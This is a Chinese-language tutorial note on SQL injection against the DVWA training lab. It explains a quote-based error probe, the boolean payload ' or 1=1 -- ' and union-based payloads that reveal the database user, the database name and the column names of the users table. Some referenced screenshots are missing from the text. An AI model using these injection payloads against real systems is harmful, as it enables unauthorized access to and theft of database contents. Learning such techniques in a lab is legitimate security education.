owasp SQL 注入-03 (原理)
1: 先看一下注入界面:
点submit 后,可以看到有语法报错,说明已经起作用了:
报如下的错误:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
2:
SQL 注入语句解析:
Mysql>select first_name,last_name from dvwa.users;
Mysql>select first_name,last_name from dvwa.users where user_id='1';
mysql> select first_name,last_name from dvwa.users where user_id='1';
+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin | admin |
+------------+-----------+
1 row in set (0.00 sec)
2: 下面开始布尔注入:( or 或 and 和 的测试)
点击submit 看结果:
原因是: 先看上面的注入语句:
Mysql>select first_name,last_name from dvwa.users where user_id=' ' or 1=1 -- sheng';
看到上面的标绿色的 已经闭环了,后面的 -- 就把后面的所有的 开始认为是 注释内容,不参加反应了。
下面总结一下:
mysql> select first_name,last_name from dvwa.users where user_id=' ' union select user(),database() --'
'> ';
+----------------+-----------+
| first_name | last_name |
+----------------+-----------+
| root@localhost | NULL |
+----------------+-----------+
1 row in set (0.00 sec)
--
这条语句就可以看出是哪个user 来链接数据库的:
'union select user(), database() -- '
注意: 上面的语句-- 后面有空格:
看执行结果:
可以看到是用dvwa 用户来链接数据库的。
下面的SQL 注入的语句如下:
下面是关于字段的 SQL 注入语句:
下面看一下 输出结果:
'union select 1, column_name from INFORMATION_SCHEMA.columns where table_name='users' -- '
下面输出结果:
可以看出后面表的字段,就是这样被SQL 注入得到信息的。
参考文献: 13.SQL注入攻击_哔哩哔哩_bilibili